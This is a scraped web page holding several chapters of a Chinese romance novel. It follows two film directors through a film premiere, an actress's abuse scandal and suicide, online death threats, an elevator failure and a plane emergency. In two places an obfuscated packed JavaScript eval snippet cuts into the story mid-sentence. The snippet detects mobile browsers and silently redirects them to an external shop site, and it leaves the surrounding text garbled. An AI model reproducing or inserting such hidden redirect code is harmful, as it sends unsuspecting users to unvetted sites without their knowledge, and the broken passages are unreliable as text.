这几天他都没办法联系外界,手机里已经被无数消息挤爆了。他干脆通通忽视,一键已读,随便翻了下微信。 刚出来的时候没来得及看,现在才有心思关心《天幕之下》剧组的情况。 本身这两天应该转场非洲的,但是他被关了起来,整个剧组的工作全停了。幸好是转场前夕停工,造成的损失不太大。 那几个解约的投资商和演员,他也草草看了眼,没怎么放在心上。 打算明天再去解决这个问题。 宜夏靠着他的胸膛,想了下问:“这几天你在里面怎么样?有没有被人为难啊?” 一般人很难想象失去自由的生活是怎么样的,更难忍受。 谈雪昼说:“没有,什么事都没发生。” “你肯定吃苦了。” “那我拍戏吃的苦多了。”谈雪昼漫不经心翻着手机,“这么怜惜我啊,把我当豌豆公主?” “你是白雪公主。” “……”谈雪昼扣住手机,捏她的脸,“再喊一声?我让你知道什么是白雪公主的实力。” 宜夏瞪他一眼,耳根全红了。 “不是,宜夏,我们都这种关系了,你这怎么脸还那么容易红啊?” “那这也不是我能控制的……”宜夏小声说,又没忍住,突然伸手摸了摸他耳朵,“你不是,也耳朵红?” “我什么时候红过,我什么场面没见过?” 宜夏感觉他在嘴硬,因为他其实特别容易脸红,只是他自己不知道而已。 譬如说,“之前在清塘的时候,我稍微碰你一下手,你耳朵都特别红。我是看你可怜,没提醒你,你早就暴露了。” 谈雪昼:“……” - 谈雪昼这场巨大的风波连带着提高了宜夏的关注度和知名度,《想把你比作春日》的首映票房表现不俗,从警方通告被发出来之后,就一路飙升。 本来,宜夏是该和全组一起参加首映的路演的,但一方面她不适合公开露面,另一方面也没心情,2.14情人节的首映日,她就一直没有出现,全程是制片和两个主演在跑行程。 这会儿,宜夏躺在床上看了眼微信群里的消息,再切出去看了眼《春日》的公映首日票房,有些惊愕。 远远超乎她的预料,竟然超过一个亿。 要知道,《春日》没有大流量演员,投资也不大,只是题材占了情人节档期的优势而已。别说一个亿,只要票房能有一个亿的一半,电影就已经回本了。 前几天谈雪昼出事,赶上了电影的宣发。手头事情千头万绪的,制片甚至格外忐忑地来问她要不要暂时撤档避避风头。宜夏坚持一定要赶情人节这个档期,坚决没有撤档,看来这个决策是顶住了压力,也是正确的。 “看什么呢?”谈雪昼一边玩着她的头发,一边靠过来瞟了眼她手机屏幕。 宜夏立刻把灯塔的票房统计怼到他眼前:“当初是谁说我,除了《江流冬日》之外其他电影票房加起来都没有超过一个亿?看到没有,一天票房就有一个亿!” 谈雪昼用虎口卡着她的脸颊,掰着她的脸对视,好笑问:“你这姑娘怎么这么爱记仇啊。” “某人还说我,自以为阳春白雪曲高和寡,其实是没脑子,还喜欢卖弄。” 谈雪昼:“……那你不也说我了吗?没深度,自大狂?” 宜夏咬了下唇瓣,慢吞吞移开眼神:“还说我记仇。自己不也记仇吗。”片刻后,她又拽了拽他手腕,“谈雪昼,我们去看电影吧!” “看什么?” “我请你。”宜夏说着坐起来,看了眼床头小闹钟上的时间。还没到晚上十二点,也就意味着现在还是2.14情人节。她看了眼还躺着没动静的谈雪昼:“看情人节档最当红的电影。” “也就是肥水不流外人田,给导演宜夏创造票房。” 宜夏捧着脸,突然迅速亲了他的脸颊一下:“创造吗?” 谈雪昼坐起来,随便套了条短裤坦坦荡荡下床,去到衣帽间换了身衣服出来。黑色的卫衣外面套长款的羽绒外套,碎发搭在眉上,强烈的清澈感扑面而来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14314708|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宜夏也飞速换上了掐腰的风衣外套,对着镜子慢腾腾梳头发。 谈雪昼走到她身后,拿过另一把木梳替她梳背后的长发,梳着梳着,手掌又搭在了她的后颈上。 宜夏回头瞪了他一眼,谈雪昼扯了下唇角,懒懒散散明知故问:“怎么了?” 宜夏不理他,拿过手机开始定电影票,自顾自挑了个比较私密的情侣座。 电影院就在嘉华汇附近的商圈里。 谈雪昼最近关注度太高,也是久违地戴起了墨镜,还给头顶扣了顶棒球帽。宜夏瞅他一眼,也慢吞吞翻了个口罩戴上。 已经快十二点了。 然而影院里上座率居然挺高的,尤其是情侣座这一片,几乎满座。 宜夏拉着谈雪昼坐进去之后,摘了口罩,就没忍住开始观察整个影厅的观众年龄构成。能在这个点看爱情片的,几乎都是年轻情侣,前排还有几个结伴的高中女生。很符合她心中的观众画像。 正观察着,唇边多了一个爆米花,谈雪昼手指凑到了她唇边。宜夏下意识咬了一口,他的手指却直接顺着钻进她嘴里,很浪荡地碰了下她牙齿和舌尖。 宜夏立刻转头瞪他一眼。 谈雪昼表情还挺坦荡无辜,压低声音:“怎么了?” 宜夏抱住胸口看向银幕:“专心点。谈老师,回去要写八百字观后感。” “这么严格?”谈雪昼这下坐直了,认真盯着银幕。 电影龙标隐没,“想把你比作春日”七个纤细的艺术字出现,电影正式开场。 毕竟是自己的电影,宜夏对每一帧画面都烂熟于心,没有任何新鲜感。但她还是不免忐忑,不知道谈雪昼的评价如何。她吃一颗爆米花,偷看他表情一眼,但他就一直同一个认真表情,没表露出任何情绪。 宜夏心里正想七想八,突然听见隔壁座位传来一阵低沉暧昧的喘息声。 她愣了下,支起耳朵。 随后,就捕捉到了更多声音——接吻声,水声,衣服撩开衣料窸窣的摩擦声,甚至有没压住的吟哦声…… 宜夏没忍住朝那两个座位看了眼。 这……也太着急了吧。 隔壁座那俩人已经干柴烈火地燃起来了,宜夏被那阵若有若无的暧昧声响骚扰得浑身不对劲,有些坐立难安,换了个坐姿。无意识地伸手去拿爆米花时,手掌突然被人轻轻扯了下,随后,掌心被人暧昧地搔了搔。 宜夏耳根到耳廓一瞬间全红了,咳嗽一声使劲把手从他手里抽出来。 他却不依不饶地凑过来,在她耳畔,慢条斯理说:“宜老师,电影还挺好看的,专心点。” 宜夏压低声音:“……是谁不专心了。” “嗯应该不是我,而是偷听其他人接吻的导演。” 宜夏:“……!” 我没偷听! 她刚要辩解,脸颊突然被他掰向他那一侧,随后,唇瓣被人含住,缓慢地吮吸着。宜夏小幅度挣了下,没挣脱,后颈被他一捏,她就彻底软了。 结果就是头晕目眩,发了一场高烧。 再分开时。 宜夏满脸通红,坐得离他远了几寸。 隔壁那一对干柴烈火的声音依然没停。听得宜夏很焦虑,很担心他们真的在电影院真刀实枪地做事了……那《想把你比作春日》会成为网络爆火小视频的背景,这样出圈似乎不是她想要的…… 想七想八,特别操心隔壁的进度,一直操心到电影结束,她松了口气。 幸好隔壁还是有点羞耻心的。 影厅大灯亮起来,观众们也陆续站起来往外走。 宜夏拉着谈雪昼从座位出去,快走到出口时,发现那里站着几个年轻的女生。 她们手里拎了好几个袋子,正在给看完电影的观众发免费的小周边和情人节应景的玫瑰花。 宜夏脚步顿住,愣了下——这不是她和剧组组织的活动。 是这几个女生自发的吗?她们是,电影的粉丝吗?还是主演的粉丝?主演不是大流量啊…… 宜夏缓慢把手插进外套口袋,站在原地看了好一会儿。 那几个女孩子把小周边和玫瑰花都送完之后,就拉着手一起离开了。宜夏回头看了谈雪昼一眼,棒球帽的帽檐下,谈雪昼漆黑的桃花眼里带着笑意,她读懂了其中的意思,鼓起勇气上前两步,叫住了那几个女孩。 她们回过头。 宜夏摘掉口罩,抿了下嘴唇。 刚要开口,那几个女生先尖叫了起来:“宜导?是你吗?” “我靠我靠,真是宜导?” 几个女生团团围过来要她签名,还要合影。 宜夏这才确认,原来,真的是她的粉丝,不是演员,不是其他任何人。 跟那几个粉丝告别,她们竟然还把最后一枝特地留下的玫瑰花留给了她。宜夏捏着细弱的花茎,站在原地望向谈雪昼,不由自主地扬起笑来。 很长一段时间,她其实是回避跟观众接触和交流的。因为受过伤害,因为见过很多头天跟她表白转头却辱骂她的言论,她很难相信,观众、粉丝,对她存在长久的真实的爱。 但现在,只是这一刻,她愿意相信,有人爱她的心,最起码在此刻在当下是真实的。那就够了。 - 谈雪昼花了几天的时间重新梳理《天幕之下》的投资情况。 演员好解决。那几个退出的演员也挺后悔。谈雪昼对演员一向不苛责,他们回来说不想要退出,他也接受了,免得到时候还要补拍。只是这次继续用,下次就拉黑不再合作了而已。 投资不一样,那几个投资商沉不住气,直接以谈雪昼这边名声影响项目情况为理由,强制解约了。他们也后悔了,但撕破了脸,后悔也没办法,干脆撤资撤得干干净净。 谈雪昼也懒得临时去找其他投资商,也懒得废那个功夫了。 他去了海晏大厦一趟。 上了专用电梯,径直到了顶楼谈默生的办公室。 谈默生在跟高管开会,他就坐在他办公室里等。 坐了挺久,他突然想起了小时候。很小的时候,也是这样子坐在顶层办公室,等爷爷开会出来,带他去楼下的餐厅吃午饭。有时候会等得睡着了,爷爷给他身上裹上毯子,把他抱进隔壁的卧室里,昏天黑地地睡一下午,起来的时候外面天全是黑的,但心里却没有任何不安,只有充实的笃定感和安全感。 不知道什么时候起,他没有事就不再来这间办公室了。 曾经的海晏大厦是滨江最高的办公大厦,站在窗边可以俯瞰整个江流。如今,周围也树起了几栋差不多高的摩天大厦,视野被阻挡,就好像,人越长越大,就会看不清自己真的想要什么。 那几天在看守所里。 谈雪昼很安静地想了自己到底想要什么。 就好像宜夏在谈默生面前说,她愿意为了他放弃电影,他其实也愿意,为了更重要的东西放弃现在拥有的东西,为了她,为了责任。 他坐在靠窗的小沙发上读桌上的日报,谈默生推门从外面进来。 谈雪昼一抬头,第一次认真观察了爷爷的神情和动作。 作为导演,捕捉过无数演员在镜头下的神情动作,细微的肢体语言,却第一次注意到最亲的亲人见到他时是什么表现——先是不受控制地翘起唇角微笑了一下,随后很快扳平唇角的弧度,不动声色十分平静地走到椅子上坐下,稳重地问:“找我有什么事?” 谈雪昼笑了下,站起来说:“借钱。” 谈默生:“……” 给我滚。 谈雪昼说:“爷爷,我答应过你的事,我会努力做到的。那这是我最后一部电影了,你也没必要,一直限制我了吧?” “我没有限制你,我只是没支持你。” “那你现在要不要支持我?” 谈默生凝视着他,没吭声。 谈雪昼两只手撑着他宽大的办公桌桌面,低头,低声问:“爷爷,你真的一点都,不为我之前做到过的事情骄傲吗?” 谈默生沉默了。 片刻后,他别过脸:“臭小子。” 离开谈默生办公室时,谈雪昼还在回想那个眼神。 那个别过脸的动作,还有眼睛里隐约的水光。 他突然释然了。 活在这个世界上,每个人都有不同的立场,想法,意愿。 真正能够达成共识的,是对彼此的爱。 92. 想把你比作春日 - 辛漪的母亲在网上替谈雪昼澄清之后,谈雪昼特地去联系了她。她犹豫了很久,还是把宜夏去找了她这件事告诉了谈雪昼。 谈雪昼心情有点复杂。 那天晚上睡前,他若无其事问她,这几天他在里面,她在外面是不是过得很煎熬。 她压在他胸口,亮晶晶黑漆漆的杏眼盯着他,若无其事说:“没有啊,就是照常工作呗,相信警察叔叔们一定能查清楚真相。” “这样吗?” “真的没有特别担心,而且事儿不都过去了么。”宜夏躺回自己的枕头上,看着天花板,后知后觉的缓缓松懈下来。 谈雪昼于是没有去问她,去找辛漪的母亲,经过几多刁难。 她不想说。 他就不问。 …… 睡前宜夏翻了下手机,一眼瞥见“辛漪”的名字还挂在热搜上。 前几天澄清完之后,谈雪昼就已经让公关的人去压跟辛漪相关的热度了。逝者已矣,网上那些莫名无端的猜测,实在是太不尊重。 本来热度已经全都消失了,这会儿却突然上了热一。 后面还跟着一个“爆”。 宜夏坐直,点进去看。 入目是令人触目惊心的照片——辛漪脸没有打码,身体打了码,浑身光裸跪在床上,手臂和身体都被红绳捆绑,被扭曲成一个奇怪而痛苦的姿势,脸上表情似痛苦,又似性高||潮……宜夏快速往下翻,广场上这些照片传得到处都是。 冒出来很多人说,辛漪之所以会自杀,原来不止是因为经纪公司的压榨和欺凌。 更是因为遭受到了惨无人道的潜规则和性虐||待。 甚至有知情人冒出来了。 在广场上说辛漪被公司高层献给已经落马的大领导,献给已经入狱的传媒巨头,而该传媒巨头最喜欢性窒||息这样的性||爱方式,甚至会把女人像狗一样关在封闭的狗笼黑箱里,连孔都不开,逼迫她窒息,等等。 残忍。 恐怖。 超出了正常人的想象。 很难想象,在这个世界,这么光鲜亮丽的娱乐圈,受到那么多人喜欢的美丽女演员,遭遇过那么非人的待遇。 宜夏看得心脏揪成一团,几乎无法呼吸。 这时谈雪昼的手机一阵铃响。 他接起来,那边似乎也是在说辛漪这些事,他表情顿时变得很凝重,下了床走到窗边接起电话。 十分钟后。 广场上有关辛漪的词条,消失得干干净净。 但看过那个词条的人,里面悲惨的照片,却永远刻印在了脑海里。 因为这个插曲,宜夏一整晚心情都很沉重。 她去找辛漪的母亲时,是不知道这些的。 她不认识辛漪,也没跟她合作过。 但她看过辛漪演的电影,出道的作品,后续的新作品,在里面,辛漪都是倔强骄傲的清冷面孔。如果不出这些事情,辛漪应该一直骄傲灿烂地活着。 一朵花凋零到了尘里。 所有相关的人都该为此负责。 她一整晚有些难以入眠,为了不让谈雪昼发觉,她强行控制着自己没有翻身。 但谈雪昼还是能感觉出,她没有睡着。 卧室里一片寂静。 很久,谈雪昼缓缓出了一口气,轻声说:“睡吧。” 宜夏不知道能说什么。 “嗯”了一声。 睁眼望着天花板,祈祷,希望那个美丽清冷的姑娘,永远地脱离了曾经的水深火热,能够在下一世找到幸福。 辛漪的词条其实只上了热搜十多分钟。 后面词条被封禁,辛漪的名字、缩写、代号等等都被设置成了敏感词违禁词,有点底线的网友也会制止某些人私下传播那些虐待照片,于是第二天起来,互联网风平浪静,就好像什么都没发生过。 转场前还有一些事情需要安排,谈雪昼接下来几天都在跟同事们开会。 宜夏也收到了特别多的宣传、采访,甚至杂志拍摄的邀请,两个人都挺忙。 她飞了几座城市,连轴转,每晚回到酒店都是倒头就睡。 在谈雪昼离开之前,终于腾出点空找到了休息时间。 从外地赶回江流送他。 坐在机场候机厅等登机时,她刷了下手机,很莫名其妙的,大数据给她推来了一条微博: @女友在天堂:谈雪昼你怎么不去死 她心突然一跳,额角也不受控制地跳了跳,莫名的不安。 点进那个账号,第一眼看见的就是设置的微博背景图片,是辛漪捧着脸微笑的照片,清纯美丽。 那个账号下的所有言论,除开怀念辛漪之外,就是在诅咒所有跟她死亡相关的人去死。 诅咒最多的是谈雪昼。 如果不是谈雪昼发现了她,把她从默默无闻的横店武替变成光彩夺目的女明星,她不一定会遭受后面那些惨无人道的虐待。 归根结底,是谈雪昼的错。 账号主人从前几天辛漪被虐待的真相曝光起,一直到今天,都在碎碎念诅咒谈雪昼下地狱。 账号主人认定,辛漪被虐待的那些照片绝对是谈雪昼授意人泄露的,就是为了洗白自己、为了立人设、为了吃辛漪的人血馒头。 让人死了都不得安宁,怎么不下地狱?! 宜夏被满屏幕的脏字脏话冲击得头晕目眩,赶紧退出了这个账号主页。 不放心,又点进谈雪昼的微博。 从最新的微博评论按时间排序往下翻,她心烦意乱地翻了十多页,翻到了那个账号给他的留言: 你放心,我会送你去见漪漪,给她赎罪的。 宜夏心头发毛,一种很强烈的不安预感击中了她。 她突然想起了他之前路演被黑粉捅伤那件事……那次也是辛漪的极端粉丝。 会是同一个人吗? 机场广播传来登机的通知。 她跟着人流登机,飞机还在停机位没有滑出,宜夏左思右想,心里特别不安定,忍不住拨了个电话过去。 电话响了三声,才被接起来,对面的声音带点喘,声音发着抖:“宜夏?” 宜夏一听这个声音,那种不安的预感顿时从尾椎一直窜上了头皮:“——你在哪里?你没事吧?” “在电梯……”那边信号不是很好,断断续续的,话筒里甚至有杂音,“电梯停了,被困在里面了。” - 五分钟前,江流。 谈雪昼把车停进车库,去嘉华汇顶楼取一份文件。 电梯非常平稳地运行着,运行到中段,突然,轿厢里灯光闪烁,楼层按钮上的光线瞬间全灭。下一刻,电梯惊心动魄地摇晃了两下。 电梯里只有谈雪昼一个人。 他握住旁边的扶手,立刻伸手去按那些暗掉的楼层。 但是一颗都按不亮。 不仅按不动,电梯里的顶灯也倏然熄灭。 四周陷入了一片黑暗。 电梯停住,他能听见顶部传来的钢索摩擦声,令人牙酸。 电梯里伸手不见五指,谈雪昼克制不住强烈的生理反应,心悸如同浪潮般涌遍全身,他僵硬站定在原地,尽力按下了紧急呼叫按钮。 但物业的监控人员没有应答。 电梯轿厢不时晃动一下,不知道什么时候会下坠或者冲顶,踩在地上也踩不到实处,黑暗的梦魇再次如同湿滑的毒蛇一般缠绕到了脑海里。 ……这时。 手机突然响起来了。 口袋里透出一点微弱的光线。 那点光线,似乎摇曳着唯一的生机。 谈雪昼费力接起电话,手里捧着的光线是能救命的光,把他从不受控制的黑暗坠落中拉扯出来。 两分钟后。 谈雪昼听见了紧急呼叫那一头对面终于传来了物业的声音,尽力安抚他,让他待在电梯里不要动,马上会派安全员来处理电梯的事故。 十分钟后,谈雪昼被人从电梯夹层里救了出去。 手机对面,宜夏的电话一直没有挂。 她的声音精疲力竭,充满恐惧:“你没事……就行了。” 宜夏刚刚因为要打电话,下机回到了候机厅。 听见那边谈雪昼报平安的声音,她这才能够正常呼吸,几乎瘫软在沙发座椅上。但马上她又坐直:“谈雪昼,我怀疑不是意外。你注意一点,要不要报一下警?” 宜夏怎么也说不清自己内心这种不祥的预感究竟是怎么回事。 强忍着心悸跟谈雪昼再说了几句,终于平静了下来。 刚刚她没有登机,她的飞机已经停止上客、进入滑行道等待起飞了。 她缓了下,跟工作人员改签,重新买了张最近的机票回江流。 一般飞机都是落在江流国际机场的,她新买的这一班是落在江流朝颜机场,而朝颜是江流本地的军民两用机场,民航航线不算多,地方也偏僻。 不过她顾不得那么多,只想赶紧回到江流,见到谈雪昼。 飞机平稳地飞到了朝颜机场上空。 盘旋了好几圈,却一直没有落地。 哪怕是一丁点小小的反常,也让宜夏敏感的神经格外触动、特别难受。她坐在位置上,坐立不安,有些焦虑。 旁边的大哥看她一眼,安慰说:“小姐姐,我们飞机现在应该是在飞五边,别着急,很快就落下去了。” 宜夏深呼吸。 飞机还在盘旋。 机长的声音从广播里传来:“各位旅客朋友们,有一架客机遇见故障正在紧急备降朝颜机场,我们还要在机场上空继续盘旋,等待它的降落……” 军民两用机场降落时不允许打开遮光板,宜夏看不见外面究竟是什么情况。 只知道飞机继续盘旋了好几圈,才终于获准降落。 飞机落地时,所有乘客纷纷涌出机舱,隔着廊桥往外看。 顿时,所有人都被震得说不出话—— 不远处的跑道上,一架波音737客机半边翅膀大火熊熊燃烧着,浓烈的黑烟被强风吹拂,升上天际。机场的空地上所有人忙成一团,消防车、救护车的声音格外清晰,拉得人头皮一跳一跳的发麻。 宜夏大脑一片空白。 下意识地低头去看手机,一打开网络,所有消息都如同暴风雨一般涌了进来—— 云航客机YA1732挂出7700紧急代码迫降汀兰朝颜机场,暂时不知具体伤亡情况。 铺天盖地的信息。 宜夏头皮发麻,一阵后怕,额头冷汗滴下。 因为YA1732号航班,就是她刚刚上去了之后,又因为要跟谈雪昼打电话而下来的那一班。 手机被打爆了。 她整个人几乎快失去支撑,差点软倒在廊桥上。幸好后面的旅客扶了她一把,她勉强撑住。 接起还在不断进来的电话,整个人声音都是恍惚的:“谈雪昼。” 那边的声音绷紧,喉咙几乎堵得说不出话:“你……你怎么样?” 宜夏差点哭出声:“刚刚你困在电梯里,我跟你打电话,所以我下机了,我没在1732上……谈雪昼,那架飞机烧起来了……天啊……它还在烧……” 几乎所有刚从飞机上下来的旅客都挤在廊桥上,表情空白说不出话。 看着那架熊熊燃烧的客机,看着穿梭不停的救护车,看着获救乘客的痛苦表情……意外就发生在眼皮子底下,就发生在眼前。 不知道过了多久,宜夏才跟着人流离开廊桥。 走到机场出口,谈雪昼等在那里,宜夏直接扑进了他怀里,紧紧把人搂住。 这两场意外,发生在了一起。 却偏偏让他们幸存了下来。 机场外面簇拥着许多记者,所有人都在关心云航客机失事的新闻。 到晚上,才有官方媒体出来报道,说: 云航客机失事初步原因是机长突发心脏病失能,同时飞机遇见发动机故障、单发失效、液压失灵,意外竟然在一起发生。副驾驶一个人无法完成所有挽救客机的操作,最坏的情况甚至可能全员坠毁。但不幸中的万幸,飞机乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328717|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客中竟然有一位休假的空军战斗机飞行员,在关键时刻进入驾驶舱,配合副机长操作完成了飞机的降落。 甚至差一点就能全员存活、安全迫降,只是在降落的时候遭遇了严重的侧风和风切变,飞机一侧机翼触地着火。 目前事故伤亡人数还在统计当中。 宜夏差一点就在那架航班上。 没人知道她遭遇了多么严重的心理冲击。 因为她受惊过度,谈雪昼又在国内多停了两天,才决定前往非洲。 宜夏浑浑噩噩了好几天,终于打起精神,继续工作。 连续两桩意外事故,宜夏精神紧绷。谈雪昼人在非洲,她每天格外担惊受怕,害怕他在那边遇见什么意外。 隔着时差,谈雪昼每天下了戏之后,都要给她打个电话报平安。 半个多月,宜夏才终于没那么紧张了。 她的《想把你比作春日》上映一个月,秘钥没有延期,一个月之后下映,总共票房收获了接近七个亿。这个票房数据十分出色,她手里的项目多了很多,有不少公司都在接触她。 但她还是想拍自己的本子,没写出来剧本之前,不会轻易同意立项。 就这么忙了一段时间,宜夏关注着非洲当地的新闻,却从新闻里看到当地局势好像渐渐有些动荡不安。 不过领馆和外交部暂时没有发布撤侨的通知,局势的动荡还在控制之中,只是宜夏刚松懈下去的神经再一次紧绷起来。晚上打视频的时候,她忍不住问谈雪昼能不能赶紧结束那边的拍摄,赶紧回来。 谈雪昼倒是挺淡定的。 根本没有表现出任何不安。 宜夏默默在心里计算他回来的时间,神经就跟被上了发条一样,越来越紧绷。 这段时间她接触到了一个新项目。 她很久之前写的剧本《北极星》被一家业内的大公司看中,将要立项投拍。她不打算自己亲自拍,但是身为电影的主创,作为编剧,她也要参与电影的选角。 这个剧本讲了一个很小众的职业,航空管制。女主角是进近管制,男主角是空军转业的民航飞行员,需要气质比较独特出众的演员。女主演已经定好,几个女配角还没定下来,导演叫宜夏一起去看试镜。 试镜的地方在一家五星酒店。 宜夏作为编剧,是最熟悉剧本最熟悉角色的那一个,加上两部自编自导的电影都成绩不俗,现场几个试镜的面试官都隐隐以她为首。 宜夏翻资料,翻到底下,表情一怔。 她看见了不该出现在试镜演员名单上的名字:于思程。 她也没多问什么,把那一份简历单独抽了出来之后,就开始了面试。 面到倒数第三个,工作人员叫号,从外面进来的女人长着一张熟悉的脸孔。 于思程见到面试官主位上坐的竟然是宜夏,表情顿时僵住。 宜夏旁边的导演等了半分钟,才开口:“于老师?可以开始你的表演片段了。” 于思程这才如梦初醒,开始念发给她的那一小段剧本台词。 宜夏坐在主位,没什么情绪波动,也没有表情。 于思程自己念台词,念着念着卡住,最后深呼吸一口气,直接放弃了,站在原地。 导演也没觉得有什么大不了,还跟她聊起来了:“于老师,你怎么想着来试咱们这个戏的啊?不想当编剧了,想当演员玩玩?” 于思程扯了下唇角,盯了台上的宜夏一眼,没说话,直接离开了试镜室。 门关上之后,导演看宜夏:“宜老师,你好像跟她是有点……矛盾,是吧。” 宜夏不以为意地点了点头,翻下一位演员的简历表。 导演又说:“那她还来试咱们剧组。” 旁边人脉很广的制片人说:“没钱了呗。《强制报告》那么大的事,现在谁会用她的本子,而且于氏不也差不多倒了么。” 导演摇摇头:“这明显演不了戏,想挣钱也不是这么种挣法,不是,她的简历是谁塞进来的?” 宜夏淡声说:“下一个吧,咱们赶紧面完结束。” 面完剩下两个演员,开了个简单的小会讨论了几分钟,基本决定了角色归属。 在试镜室窝了一个下午,宜夏出去活动了下身体,去卫生间上了个厕所。 出来后,在洗手池洗手时,旁边站了一个人。 于思程静默地从镜子里看着宜夏,突然扯出个冷笑:“现在你满意了吗?” 宜夏有些莫名其妙。 从《强制报告》那件事结束之后,她就再也没有想过于思程,已经彻底把这个曾经给她造成巨大伤害的人抛在身后了。 她早就走出去了。 但于思程好像没有。 她满脸怨恨,死死盯着镜子里宜夏的眼睛:“我现在被你搞得本子一个都卖不出去,编剧当不了,演员也没人要用,你是不是想逼死我?” 宜夏扯了扯唇角,微笑很淡:“为什么要把自己的错误怪到别人身上?没有人要用你,是你自己的问题。” “你嚣张什么?你以为你现在成功了,了不起了是吗?还不都是因为谈雪昼?” 宜夏冷静说:“不管因为什么,现在是我成功了。” “得意什么?很得意是吧?”于思程冷笑,“告诉你一件事,谈雪昼是我不要的。” “……”宜夏“哦”了一声,不解地问,“你是指你们失败的相亲是吗?” “你不用得意。”于思程一字一句说,“是他追过我,我没有答应,相亲那是后来的事。” 宜夏愣了下,觉得挺可笑的,温柔问:“你该不会是,精神出问题了吧?如果得了癔症,尽量早点去医院看看,江流第一医院精神研究中心就挺不错的。” 说完,宜夏转身离开了卫生间。 宜夏是真不相信于思程说的任何话。 但是她没想明白,于思程在她面前撒这么个很容易直接戳破的谎言,到底有什么意义。 谈雪昼追过她? 该不会真是癔症了吧。 不会突然发病吧,那还挺可怕的。 93. 想把你比作春日 第87章 宜夏晚上的时候照常给谈雪昼打视频。 每天固定时间,她在晚上接近凌晨,他那边时间刚好是傍晚收工的时候。今天打了两个电话,谈雪昼却一直没接。 再打第三个过去,谈雪昼才终于接了起来,在那边声音清淡地说:“出了点事,野子经纪人出车祸了,我们现在都在医院,等会儿再打回给你。” 宜夏心一紧,问:“你没事吧?” “没,我没事。现在还在手术,中午的时候这边医院附近油库爆炸了,医院现在没电,不知道手术情况。” 宜夏:“……啊?” “嗯。幸好这家是中非友好医院,设施还算不错,有我们自己的援非医生,技术应该还可以。” 宜夏都要被他说傻了。 他还补了句:“野子也受伤了。” “路、路昭野?” “嗯。”顿了下,他说,“手术好像要结束了,我挂了,待会儿打给你。” “那我等你电话。”宜夏赶快说,“我会一直等的,你一定要记得打回来。” 两三个小时之后,宜夏才接到他打回来的电话。 说路昭野的经纪人身体不舒服,路昭野中午下了戏,请假开车送他去附近医院,结果在去医院的路上出了车祸。经纪人特别严重,路昭野倒是还好,只有一条腿骨折。幸好是在去医院的路上出的事,很快就送到了医院,结果医院因为油库爆炸停电,几个医生是打着灯给病人做的手术。 就连麻醉都是麻醉师手动操作推入麻醉剂。 那是什么难度,简直难以想象。 不过医生们技术精湛,竟然顶着这么恶劣的条件完成了手术,现在经纪人已经脱离了危险。 宜夏松了口大气。 一个大剧组,每天都会状况百出。 人没事就好。 宜夏心里有点不安,想了下问:“那路昭野骨折,是不是进度又会往后拖?你什么时候能回来?” “进度不会受影响。”谈雪昼在那边翻日程,“还有一个月。” 宜夏深呼吸,小小声:“你能不能赶紧回来啊……” 感觉好危险。 医院都会停电,对病人来说也太可怕了。 谈雪昼很淡笑了下:“我尽量。我也想压缩一下进度,但再快下去,就没人受得了了。” 宜夏小小“嗯”了声,情绪有点低落。 一个月后。 谈雪昼即将回国前一天。 宜夏是在热搜上看到的新闻: 《天幕之下》在非洲杀青,路昭野因为杀青戏受伤,被紧急送往医院。 真是状况百出,宜夏整个人都不好了。 深夜的时候,她才接到谈雪昼的电话,跟她说,还得在非洲多停几天。 路昭野没什么大事,但好像有点脑震荡,要住两天院才能离开。 宜夏不断在心里跟自己说,这都是好事多磨。 只是突然联想到了出国前谈雪昼在电梯出的事故,他微博下的留言突然窜进她的脑海,她慢慢问:“会不会不是意外?有没有可能是人为的?” 谈雪昼一怔。 宜夏迅速把自己的担忧和怀疑跟他讲了。 他想了下,点头:“我会去查的。” 隔天。 谈雪昼再给宜夏打电话,告诉了她一件哭笑不得的事——路昭野竟然因为脑震荡失忆了。 还就只认识给他做手术的那个女医生了。 他不是因为剧组的道具事故出的事,也不是网上传的杀青戏受伤,而是杀青之后去找那个医生,发生了什么意外,为了保护人家受的伤。 说来特别巧,那个医生是他的高中同学,也是分手多年的初恋。 俩人竟然能在异国他乡的非洲大陆久别重逢,也是特别神奇的一段缘分。 宜夏听完都有些懵。 谈雪昼从宜夏提醒之后就查了一下剧组的工作人员。 但两桩去到医院的事故,确实都是意外。而且如果真的是给他发死亡威胁的辛漪黑粉,那也应该冲他来。 他这么跟宜夏解释完,宜夏勉强松了口气。 两天后,剧组全员坐了几个航班回国,降落在北京机场。 谈雪昼直接转机,回了江流。 宜夏在深夜的机场等他。 总算平安归来,这几个月的煎熬等待,也都有了意义。 接下去他倒了两天时差,立刻爬起来去安排电影的后期工作。 宜夏被这个人的努力和精力给震惊了。 不过也没工作狂到一天工作18小时,到晚饭时间,宜夏接到了他的电话,一起去附近餐厅吃晚饭。 是两个人都比较喜欢的一家粤菜餐厅,食材新鲜,吃起来也挺补的。谈雪昼在非洲待了这么久,特别缺一点美食的滋养。 边吃他边给她讲了些非洲片场发生的大小事,还挺不把当地政治动荡放在心上。 宜夏心脏简直有点受不了:“就在你们旁边那座城市?政变?你居然还能继续拍?” 他懒懒散散勾了下唇:“第二天事态就平息了。不继续拍怎么办?” 宜夏盯着他。 好像要把他整个人刻进脑子里。 他的轮廓,他的五官,他的眼睛,他的唇瓣。 片刻后,突然别开脸:“你就吓我吧。那你知道,在家里会有一个人很担心你吗?” 